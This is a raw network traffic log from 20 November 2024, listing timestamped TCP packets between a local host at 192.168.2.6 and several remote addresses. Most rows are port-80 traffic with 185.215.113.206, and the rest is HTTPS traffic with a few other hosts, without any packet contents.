Nov 20, 2024 14:43:43.750435114 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.750472069 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.750822067 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.751318932 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.751379967 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.751521111 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.751723051 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.752340078 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.752420902 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.752548933 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.752592087 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.753371000 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.753597975 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.753629923 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.753756046 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.754365921 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.754707098 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.755058050 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.755382061 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.755428076 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.755558014 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.755776882 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.756418943 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.756468058 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.756705999 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.756865025 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.757467985 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.757476091 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.757546902 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.758456945 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.758582115 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.758604050 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.758733034 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.759495974 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.759658098 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.759798050 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.760516882 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.760555983 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.760581970 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.760839939 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.760941029 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.761537075 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.761655092 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.761677027 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.761755943 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.762485981 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.762538910 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.762607098 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.762736082 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.763534069 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.763597965 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.763937950 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.764014006 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.764568090 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.764652014 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.764868975 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.765425920 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.765655994 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.765665054 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.765788078 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.766586065 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.766704082 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.766721964 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.767309904 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.767611027 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.767700911 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.767874956 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.767976999 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.768652916 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.768707037 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.768969059 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.769134045 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.769758940 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.769767046 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.769943953 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.770675898 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.770735979 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.770874977 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.770932913 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.771702051 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.771770000 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.771948099 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.772267103 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.772757053 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.772885084 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.772932053 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.773021936 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.773930073 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.774056911 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.774084091 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.774152040 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.774991989 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.775099039 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.775789976 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.775799990 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.775813103 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.775893927 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.775893927 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.776834011 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.776935101 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.776963949 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.777277946 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.777755022 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.777857065 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.846734047 CET	443	49870	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:43.846812963 CET	443	49870	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:43.847014904 CET	49870	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:43.847105980 CET	49870	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:43.847105980 CET	49870	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:43.847124100 CET	443	49870	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:43.847136974 CET	443	49870	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:43.849982023 CET	49889	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:43.850019932 CET	443	49889	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:43.850111008 CET	49889	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:43.850253105 CET	49889	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:43.850263119 CET	443	49889	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:43.901329994 CET	49877	443	192.168.2.6	184.28.190.91
Nov 20, 2024 14:43:43.929780960 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.929792881 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.929805994 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.929814100 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.929883003 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.929888964 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.930547953 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.930947065 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.931399107 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.931416035 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.931909084 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.931909084 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.932013035 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.932519913 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.932526112 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.932998896 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.933388948 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.934071064 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.934139013 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.934256077 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.934300900 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.934308052 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.934385061 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.935199976 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.935395956 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.935496092 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.936110973 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.936419964 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.936744928 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.936939955 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.937405109 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.937408924 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.937575102 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.938020945 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.938390017 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.938445091 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.938765049 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.938977003 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.939515114 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.939522028 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.940148115 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.940606117 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.940759897 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.940871954 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.941368103 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.941459894 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.941940069 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.941992044 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.942543030 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.942600012 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.942694902 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.942701101 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.942811012 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.942828894 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.942889929 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.943516970 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.943833113 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.944067001 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.944158077 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.944514990 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.946254969 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.946360111 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.946702957 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.946723938 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.946752071 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.946758986 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.946769953 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.946777105 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.946784019 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.946790934 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.946835041 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.946835041 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.947000980 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.947051048 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.947670937 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.947752953 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.948035955 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.948311090 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.948683977 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.948779106 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.948935032 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.949115038 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.949722052 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.950027943 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.950046062 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.950119019 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.950773954 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.951087952 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.951106071 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.951138020 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.951764107 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.952363968 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.952786922 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.952903986 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.952910900 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.952927113 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.953013897 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.953809023 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.954040051 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.954077005 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.954153061 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.954818010 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.954826117 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.954977989 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.955961943 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.956038952 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.956764936 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.956819057 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.956851006 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.956859112 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.956934929 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.957992077 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.958041906 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.958333969 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.958451986 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.958875895 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.958925962 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.959481955 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.959553957 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.959956884 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.960045099 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.960083008 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.960184097 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.960941076 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.961095095 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.961183071 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.961220026 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.961940050 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.962085962 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.962173939 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.962228060 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.962986946 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.963294029 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.963658094 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.963967085 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.963982105 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.963989019 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.964129925 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.964977980 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.965063095 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.965132952 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.965178013 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.966018915 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.966387987 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.966581106 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.967004061 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.967061043 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.967561007 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.967658997 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.968063116 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.968149900 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.968241930 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.968394041 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.969026089 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.969096899 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.969228983 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.969691992 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.971050024 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.971056938 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.971329927 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.971431017 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.971437931 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.971822977 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.972517967 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.972589970 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.972606897 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.973134995 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.973321915 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.973424911 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.973505974 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.974169016 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.974241018 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.974339962 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.974387884 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.975177050 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.975244045 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.975265980 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.975328922 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.976183891 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.976305008 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.976346970 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.976448059 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.977200985 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.977248907 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.977720022 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.977770090 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.978293896 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.978440046 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.979249954 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.979254961 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.979330063 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.987653971 CET	443	49871	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:43.987740993 CET	443	49871	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:43.987962961 CET	49871	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:43.993443012 CET	49871	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:43.993453979 CET	443	49871	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:43.993467093 CET	49871	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:43.993472099 CET	443	49871	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:44.013046026 CET	49890	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:44.013098955 CET	443	49890	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:44.013164997 CET	49890	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:44.013349056 CET	49890	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:44.013360977 CET	443	49890	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:44.021979094 CET	49892	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:44.022016048 CET	443	49892	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:44.022074938 CET	49892	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:44.022511005 CET	49891	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:44.022535086 CET	443	49891	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:44.022627115 CET	49891	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:44.023406982 CET	49893	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:44.023435116 CET	443	49893	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:44.023484945 CET	49893	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:44.023726940 CET	49892	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:44.023741007 CET	443	49892	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:44.028728962 CET	49891	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:44.028739929 CET	443	49891	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:44.029104948 CET	49893	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:44.029114962 CET	443	49893	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:44.088915110 CET	49894	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:44.088965893 CET	443	49894	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:44.089037895 CET	49894	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:44.094979048 CET	49894	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:44.094997883 CET	443	49894	150.171.27.10	192.168.2.6
